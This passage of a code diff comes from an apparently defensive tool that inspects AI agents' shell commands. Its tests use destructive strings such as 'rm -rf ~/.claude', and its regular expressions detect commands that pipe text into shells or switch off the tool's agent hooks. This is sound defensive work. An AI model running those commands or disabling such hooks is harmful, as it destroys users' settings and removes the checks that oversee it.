bashDecision(`cat > notes.md <<-'EOF'\n\trm -rf ~/.claude\n\tEOF\n`)).toBe("allow"); + expect(await bash(`cat < notes.md <<'EOF'\nhello\nEOF\nrm -rf ~/.claude\n`)).toBe(true); + }); + + it("stays linear on long runs of parentheses, pipes and variables", async () => { + for (const command of [ + "echo " + "(".repeat(40000) + " $A".repeat(40000), + "echo x " + "|".repeat(40000) + " sh", + ]) { + const started = performance.now(); + await bashDecision(command); + expect(performance.now() - started).toBeLessThan(3000); + } + }, 60_000); + }); + describe("where the shell stands (CodeRabbit)", () => { it("lets a cd before a | move nothing", async () => { expect(await bashDecision(`cd ~/.claude | cat; cp /tmp/example.json settings.json`)).toBe("allow"); diff --git a/src/hooks/agent-settings-guard.ts b/src/hooks/agent-settings-guard.ts index f76322b76..ff34b6bb7 100644 --- a/src/hooks/agent-settings-guard.ts +++ b/src/hooks/agent-settings-guard.ts @@ -243,7 +243,11 @@ export function physicalAgentPath( cwd: string | undefined, bases?: Map, ): string | null { - const expanded = expandAgentSettingsHome(path); + // Only the home prefix: `join` would also drop `link/..` before the walk + // could follow `link` (`~/link/../settings.json`). + const home = homedir(); + const prefixed = /^(?:~|\$HOME|\$\{HOME\})(\/.*)?$/.exec(path); + const expanded = prefixed ? `${home}${prefixed[1] ?? ""}` : path; if (expanded.length === 0 || expanded.length > MAX_PHYSICAL_PATH) return null; if (isAbsolute(expanded)) return physicalWalk("/", expanded); if (!cwd) return null; @@ -624,9 +628,9 @@ export function agentSettingsShellCwd(toolInput: Record | undef * not matched. */ const AGENT_CLI_HOOKS_OFF_RES: readonly RegExp[] = [ - /(?:^|[\s;&|(`])(?:\S*\/)?codex\s+(?:[^\n;&|]*\s)?features\s+disable\s+[^\n;&|]*\b(?:codex_)?hooks\b/i, - /(?:^|[\s;&|(`])(?:\S*\/)?pi\s+(?:remove|uninstall|rm)\s+[^\n;&|]*(?:failproofai|pi-extension)/i, - /(?:^|[\s;&|(`])(?:\S*\/)?(?:hermes|openclaw)\s+plugins?\s+(?:disable|remove|uninstall|rm|delete)\s+[^\n;&|]*failproofai/i, + /(?:^|[\s;&|(`])(?:[^\s;&|()`<>]*\/)?codex\s+(?:[^\n;&|]*\s)?features\s+disable\s+[^\n;&|]*\b(?:codex_)?hooks\b/i, + /(?:^|[\s;&|(`])(?:[^\s;&|()`<>]*\/)?pi\s+(?:remove|uninstall|rm)\s+[^\n;&|]*(?:failproofai|pi-extension)/i, + /(?:^|[\s;&|(`])(?:[^\s;&|()`<>]*\/)?(?:hermes|openclaw)\s+plugins?\s+(?:disable|remove|uninstall|rm|delete)\s+[^\n;&|]*failproofai/i, ]; export function agentCliSwitchesHooksOff(command: string): boolean { diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 275021966..d306395b9 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1340,6 +1340,28 @@ function commandWords(simpleCommand: string): string[] { return words; } +/** A redirect with its target as the shell reads it: quoted, escaped or glued, spaces and all. */ +const REDIRECT_WITH_TARGET_RE = /(^|\s)\d*(?:>{1,2}\|?|<{1,3})(?!\()\s*(?:"(?:[^"\\]|\\.)*"|'[^']*'|\\.|[^\s"'\\])+/g; + +/** + * A simple command with its redirects blanked, so what is left is its + * arguments: `cp /dev/null ~/.claude/settings.json 2> '/tmp/build log'` has + * two, not a third called `log'`. Found in the splittable view, where a `>` + * inside a quoted argument is already blank, and blanked at the same offsets + * in the readable one. A redirect's target is judged on its own. + */ +function blankRedirects(readableSimple: string, splitSimple: string): string { + let out = ""; + let pos = 0; + for (const match of splitSimple.matchAll(REDIRECT_WITH_TARGET_RE)) { + const start = match.index + match[1].length; + const end = match.index + match[0].length; + out += readableSimple.slice(pos, start) + " ".repeat(end - start); + pos = end; + } + return pos === 0 ? readableSimple : out + readableSimple.slice(pos); +} + /** * True when this one simple command would destroy whatever it is pointed at. * @@ -1721,6 +1743,8 @@ interface LexEndedCommand { interface PendingHeredoc { delimiter: string; literal: boolean; + /** `<<-`: leading tabs come off each body line before it is compared. */ + stripTabs: boolean; /** Index, in the line's ended commands, of the command the operator belongs to. */ commandIndex: number; /** Inside a `$(…)`/backtick: the command the substitution is an argument of; undefined at the top level. */ @@ -1788,7 +1812,7 @@ function outerStoresMessage(outer: LexEndedCommand | null | undefined): boolean /** A pipe into a shell or interpreter, or an eval/source, anywhere after `at`. */ const RUNS_TEXT_LATER_RE = - /\|\s*(?:\S*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish|python[0-9.]*|pypy[0-9.]*|node|nodejs|bun|deno|perl|ruby|php|lua|pwsh|powershell)(?=[\s;&|)]|$)|(?:^|[\s;&|(`])(?:eval|source)(?=\s)/; + /\|\s*(?:[^\s;&|()`<>]*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish|python[0-9.]*|pypy[0-9.]*|node|nodejs|bun|deno|perl|ruby|php|lua|pwsh|powershell)(?=[\s;&|)]|$)|(?:^|[\s;&|(`])(?:eval|source)(?=\s)/; /** The file a `cat > F` or `tee F` heredoc writes, or null. */ function heredocWritesFile(command: LexEndedCommand): string | null { @@ -1853,9 +1877,13 @@ function heredocIsStoredText( * backslashes come off, and any of them makes the body literal. `< = []; const stack: Array<{ close: string; start: number; expansion: boolean }> = []; - const outermost = (): boolean => !stack.some((open) => open.expansion); + // How many of those are expansions: asking the stack each time made literal + // parentheses followed by `$NAME`s quadratic. + let openExpansions = 0; + const outermost = (): boolean => openExpansions === 0; let backtick = -1; for (let i = 0; i < text.length; i++) { const ch = text[i]; @@ -2549,7 +2582,9 @@ function spliceWordExpansions(text: string, commandSubstitutionsOnly = false): s if (backtick !== -1) continue; if (ch === "$" && (text[i + 1] === "{" || text[i + 1] === "(")) { const brace = text[i + 1] === "{"; - stack.push({ close: brace ? "}" : ")", start: i, expansion: !(brace && commandSubstitutionsOnly) }); + const expansion = !(brace && commandSubstitutionsOnly); + stack.push({ close: brace ? "}" : ")", start: i, expansion }); + if (expansion) openExpansions++; i++; continue; } @@ -2566,6 +2601,7 @@ function spliceWordExpansions(text: string, commandSubstitutionsOnly = false): s } if ((ch === "}" || ch === ")") && stack.length > 0 && stack[stack.length - 1].close === ch) { const open = stack.pop()!; + if (open.expansion) openExpansions--; if (open.expansion && outermost()) spans.push([open.start, i + 1]); } } @@ -2699,6 +2735,19 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep type DirStack = { dir: string | undefined; below: DirStack } | null; let dirStack: DirStack = null; + // A word's glob verdict, once per walk: a command can repeat a word + // thousands of times (every `$NAME` is spliced to `*`), and each test runs + // it against every candidate and decoy. + const globVerdicts = new Map(); + const globNames = (word: string): boolean => { + let verdict = globVerdicts.get(word); + if (verdict === undefined) { + verdict = globCouldNameTarget(word, target); + globVerdicts.set(word, verdict); + } + return verdict; + }; + const namesState = (text: string): boolean => { if (target.namesLiteral(text)) return true; for (const [, name] of text.matchAll(VAR_REFERENCE_RE)) { @@ -2711,7 +2760,7 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep const spliced = spliceWordExpansions(text); return spliced.split(/\s+/).some((token) => { const word = unquotedToken(token); - if (globCouldNameTarget(word, target)) return true; + if (globNames(word)) return true; if (target.namesThroughLinks?.(word, walkCwd)) return true; if (walkCwd === undefined) return false; // A relative word lands where the shell stands: `settings.json` after @@ -2725,7 +2774,7 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep if (!cwdHinted && !target.hint!.test(form) && !/^\.{1,2}(?:\/\.{1,2})*\/?$/.test(form)) continue; if (target.namesLiteral(resolve(walkCwd, form))) return true; } - return GLOB_METACHAR_RE.test(word) && !/^[-/~$]/.test(word) && globCouldNameTarget(resolve(walkCwd, word), target); + return GLOB_METACHAR_RE.test(word) && !/^[-/~$]/.test(word) && globNames(resolve(walkCwd, word)); }); }; @@ -2800,7 +2849,7 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep parenDepth += (splitSimple.match(/\(/g) ?? []).length; // A command substitution is one word however many spaces it holds: // `cp x ~/.claude/settings$( true ).json` has three operands, not five. - const words = commandWords(spliceWordExpansions(simple, true)); + const words = commandWords(spliceWordExpansions(blankRedirects(simple, splitSimple), true)); const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. @@ -3984,7 +4033,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // the commands alone, so a commit message that quotes one is still a message. const lexed = lexShell(cmd); // Text piped into a shell is a command too: `echo 'codex features disable hooks' | sh`. - const pipesIntoShell = /\|\s*(?:\S*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish)(?=[\s;&|)]|$)/.test(lexed.commandsOnly); + const pipesIntoShell = /\|\s*(?:[^\s;&|()`<>]*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish)(?=[\s;&|)]|$)/.test(lexed.commandsOnly); const cliText = pipesIntoShell ? cmd : lexed.commandsOnly; if (agentCliSwitchesHooksOff(cliText) || agentCliSwitchesHooksOff(stripShellQuoting(cliText))) { return deny( @@ -4017,7 +4066,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { * command it becomes there. */ function classifyTextPipedIntoShell(cmd: string): SelfInvocation | null { - if (!/\|\s*(?:\S*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish)(?=[\s;&|)]|$)/.test(cmd)) return null; + if (!/\|\s*(?:[^\s;&|()`<>]*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish)(?=[\s;&|)]|$)/.test(cmd)) return null; for (const [, single, double] of cmd.matchAll(/'([^']*)'|"((?:[^"\\]|\\.)*)"/g)) { const piped = single ?? double ?? ""; const kind = classifySelfInvocation(piped) ?? classifySelfInvocation(stripShellQuoting(piped)); diff --git a/src/hooks/claude-hooks-switch.ts b/src/hooks/claude-hooks-switch.ts index 3b7baf309..70b3f5218 100644 --- a/src/hooks/claude-hooks-switch.ts +++ b/src/hooks/claude-hooks-switch.ts @@ -12,7 +12,7 @@ * Pure apart from the reads, which go through a seam: `config --status` passes * the real files, tests pass their own. */ -import { existsSync, lstatSync, readFileSync } from "node:fs"; +import { existsSync, lstatSync, readdirSync, readFileSync } from "node:fs"; import { homedir } from "node:os"; import { dirname, join, resolve } from "node:path"; @@ -26,6 +26,25 @@ export const CLAUDE_MANAGED_SETTINGS_PATHS: Readonly